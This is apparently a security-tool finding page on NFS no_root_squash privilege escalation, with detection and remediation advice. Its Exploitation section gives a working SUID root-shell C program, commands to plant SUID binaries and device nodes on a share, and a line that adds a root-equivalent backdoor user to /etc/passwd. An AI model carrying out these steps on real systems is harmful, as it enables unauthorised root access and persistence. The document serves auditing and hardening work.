F-4.1: no_root_squash Privilege Escalation¶
Classification¶
- Severity: Critical
- CVSS Vector: Network / Low Complexity / No Auth Required
- Affected Versions: All NFS versions with AUTH_SYS
- Configuration:
no_root_squashin/etc/exports - Prerequisite: Write access to an export with
no_root_squashenabled
Summary¶
When an NFS export is configured with no_root_squash, the server does not remap UID 0 (root) to an unprivileged user. This allows an attacker to create SUID root binaries on the share, which can then be executed by any user on a client that mounts the export without nosuid, yielding immediate root-level code execution.
Technical detail¶
Default behavior (root_squash)¶
By default, Linux NFS exports use root_squash:
When a client sends an RPC with UID=0, the server maps it to nobody (UID 65534). This prevents remote root from owning files as root on the server.
Vulnerable configuration¶
With no_root_squash, RPC requests claiming UID=0 are honored at face value. The attacker can:
- Create files owned by root (UID 0, GID 0)
- Set the SUID bit on executables
- Create device nodes (
mknod) - Modify system files if the export covers system directories
The SUID attack chain¶
┌─────────────────┐ ┌──────────────────────┐ ┌─────────────────┐
│ Attacker Machine│ │ NFS Server │ │ Victim Client │
│ (root access) │ │ no_root_squash export│ │ mounts w/o nosuid│
├─────────────────┤ ├──────────────────────┤ ├─────────────────┤
│ 1. Mount export │────>│ │ │ │
│ 2. Upload SUID │────>│ 3. File stored as │ │ │
│ binary as │ │ root:root 4755 │ │ │
│ UID 0 │ │ │ │ │
│ │ │ │<────│ 4. User executes│
│ │ │ │ │ SUID binary │
│ │ │ │ │ 5. ROOT SHELL │
└─────────────────┘ └──────────────────────┘ └─────────────────┘
Exploitation¶
Method 1: SUID shell binary¶
On the attacker machine (as root):
// exploit.c - minimal SUID root shell
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
# Compile on attacker
gcc exploit.c -o exploit
# Mount the vulnerable share as root
mount -t nfs -o vers=3,nolock target:/srv/share /mnt/nfs
# Copy binary, set ownership and SUID
cp exploit /mnt/nfs/
chown root:root /mnt/nfs/exploit
chmod 4755 /mnt/nfs/exploit
On the victim (any user with access to the mount):
# Execute the SUID binary
/srv/share/exploit
# Result: root shell
uid=0(root) gid=0(root) groups=0(root)
Method 2: Copy /bin/bash with SUID¶
# Even simpler - just copy bash with SUID
cp /bin/bash /mnt/nfs/rootbash
chown root:root /mnt/nfs/rootbash
chmod 4755 /mnt/nfs/rootbash
# On victim:
/srv/share/rootbash -p
Method 3: Modify /etc/passwd and /etc/shadow¶
If the export covers system directories (or escape is possible):
# Read shadow file
cat /mnt/nfs/etc/shadow > /tmp/shadow_backup
# Generate password hash
openssl passwd -6 -salt xyz "attackerpass"
# $6$xyz$<hash>
# Add a root-equivalent user
echo 'backdoor:$6$xyz$<hash>:0:0::/root:/bin/bash' >> /mnt/nfs/etc/passwd
# SSH in as the new root user
ssh backdoor@target
Method 4: Device node creation¶
# Create a device node for the target's disk
# This requires knowledge of the disk major/minor numbers
mknod /mnt/nfs/sda b 8 0
chmod 666 /mnt/nfs/sda
# On victim, read raw disk:
dd if=/srv/share/sda bs=512 count=1
Method 5: Using EvilNFSClient or libnfs (no mount required)¶
# EvilNFSClient approach
./evilnfsclient target /srv/share --uid 0 --gid 0
nfs> put ./exploit /exploit
nfs> chmod 4755 /exploit
# libnfs LD_PRELOAD approach
LD_NFS_UID=0 LD_NFS_GID=0 LD_PRELOAD=./ld_nfs.so \
cp ./exploit nfs://target/srv/share/exploit
LD_NFS_UID=0 LD_NFS_GID=0 LD_PRELOAD=./ld_nfs.so \
chmod u+s nfs://target/srv/share/exploit
Detection¶
Check for no_root_squash (from attacker perspective)¶
The only reliable remote check is to attempt creating a root-owned file:
# nfswolf automated check (always-on; runs as part of every analyze invocation)
nfswolf analyze target
This creates a temporary directory as UID 0 and immediately removes it. If the create succeeds, no_root_squash is confirmed and the finding is logged.
Server-side audit¶
# Check exports configuration
grep -i "no_root_squash" /etc/exports
# Check effective exports
exportfs -v | grep no_root_squash
Impact¶
- Full root compromise of any client mounting the export without
nosuid - Server compromise if the export is also mounted locally on the server
- Persistence: SUID binaries survive reboots and are difficult to detect
- Lateral movement: Compromise all machines that mount the affected export
Remediation¶
- Never use
no_root_squashunless absolutely required and understood - Mount with
nosuid,nodev,noexecon all clients: - Use
all_squashwhere possible to map all users to nobody - Restrict exports to specific trusted hosts
- Monitor for SUID files on NFS mounts: